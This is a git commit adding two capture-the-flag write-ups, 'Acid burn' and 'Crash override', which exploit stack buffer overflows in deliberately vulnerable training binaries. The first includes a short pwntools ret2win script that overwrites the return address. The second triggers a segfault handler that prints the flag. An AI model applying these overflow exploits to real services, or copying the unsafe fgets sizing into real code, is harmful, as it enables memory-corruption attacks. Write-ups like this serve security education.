Adds fcsc 2025 and scale 22x
This commit is contained in:
42
content/writeups/2025/scale/exploitation/acid_burn.md
Normal file
42
content/writeups/2025/scale/exploitation/acid_burn.md
Normal file
@@ -0,0 +1,42 @@
|
||||
+++
|
||||
date = '2025-04-28T12:00:00+02:00'
|
||||
draft = false
|
||||
title = 'Acid burn'
|
||||
tags = ['pwn']
|
||||
+++
|
||||
|
||||
Here is the decompiled code for the challenge.
|
||||
```c
|
||||
int main(void)
|
||||
{
|
||||
int iVar1;
|
||||
char input [64];
|
||||
|
||||
printf("What is the password?\n?: ");
|
||||
fflush(stdout);
|
||||
fgets(input,0x80,stdin);
|
||||
iVar1 = strcmp(input,"password\n");
|
||||
if (iVar1 != 0) {
|
||||
puts("incorrect password");
|
||||
fflush(stdout);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
There is a pretty large buffer overflow on the `input` variable and there also conveniently is a function called `flag` that displays the flag (and of course all the protections are disabled).
|
||||
This is a classic ret2win scenario where we have to overwrite the return pointer to jump to the `flag` function.
|
||||
A small python script using pwntools should do the job.
|
||||
```python
|
||||
io = start()
|
||||
|
||||
payload = flat(
|
||||
b'A'*(64+8),
|
||||
pack(elf.symbols.flag))
|
||||
|
||||
write("payload", payload)
|
||||
io.sendlineafter(b'?: ', payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
I didn't save the flag but this works and solves the challenge.
|
||||
68
content/writeups/2025/scale/exploitation/crash_override.md
Normal file
68
content/writeups/2025/scale/exploitation/crash_override.md
Normal file
@@ -0,0 +1,68 @@
|
||||
+++
|
||||
date = '2025-04-28T12:00:00+02:00'
|
||||
draft = false
|
||||
title = 'Crash override'
|
||||
tags = ['pwn']
|
||||
+++
|
||||
|
||||
This challenge is funny and I've never seen it before it was really easy once I turned on my brain and realised that the solution isn't supposed to work on my local system without the provided container and that I should try on the remote.
|
||||
|
||||
So we get a file and the usual nc command, as always lets fire up ghidra and see what we're dealing with.
|
||||
|
||||
```c
|
||||
int main(void)
|
||||
{
|
||||
int iVar1;
|
||||
char input [64];
|
||||
|
||||
signal(0xb,on_segfault);
|
||||
printf("What is the password?\n?: ");
|
||||
fflush(stdout);
|
||||
fgets(input,0x80,stdin);
|
||||
iVar1 = strcmp(input,"password\n");
|
||||
if (iVar1 != 0) {
|
||||
puts("incorrect password");
|
||||
fflush(stdout);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
This looks like a simple password checking function, however we quickly notice two things.
|
||||
1. First we have a nice little buffer overflow on the input, we are able to input 0x80 chars (which is 128 in decimal) inside of a 60 bytes buffer. For a beginner oriented CTF this isn't surprising.
|
||||
2. More surprising is the use of `signal` which I guessed allows to do something when receiving a syscall. After a quick look at the manual I was right. This allow us to map a signal to a function resulting in a call to the function being performed when the signal is received by the program (I don't think this is all and I am not sure that it is exactly what happens but it's more than enough to do the challenge). By the name of the function and after a quick look on the internet we can confirm that `0xb` (11 in decimal) is the syscall number for `SIGSEGV` better know as the segmentation fault (invalid memory reference, tried to dereference an invalid pointer).
|
||||
|
||||
So putting it all together we have a buffer overflow that allows us to trigger a segfault by overriding the return pointer and a function that executes when a segfault occurs. But what's that function ?
|
||||
|
||||
```C
|
||||
void on_segfault(int sig_num)
|
||||
{
|
||||
int iVar1;
|
||||
FILE *__stream;
|
||||
char acStack_b0 [64];
|
||||
code *pcStack_70;
|
||||
int sig_num_local;
|
||||
char data [64];
|
||||
FILE *fd;
|
||||
|
||||
sig_num_local = sig_num;
|
||||
__stream = fopen("./flag","r");
|
||||
fgets(data,0x40,__stream);
|
||||
printf("%s",data);
|
||||
fclose(__stream);
|
||||
FUN_00401140(1);
|
||||
signal(0xb,on_segfault);
|
||||
printf("What is the password?\n?: ");
|
||||
fflush(stdout);
|
||||
fgets(acStack_b0,0x80,stdin);
|
||||
iVar1 = strcmp(acStack_b0,"password\n");
|
||||
if (iVar1 != 0) {
|
||||
puts("incorrect password");
|
||||
fflush(stdout);
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
I removed some bloat but what this function basically does is read the flag and print it.
|
||||
So we know what to do, trigger a segfault and you're done. To do that send about 100 characters and you get the flag.
|
||||
Reference in New Issue
Block a user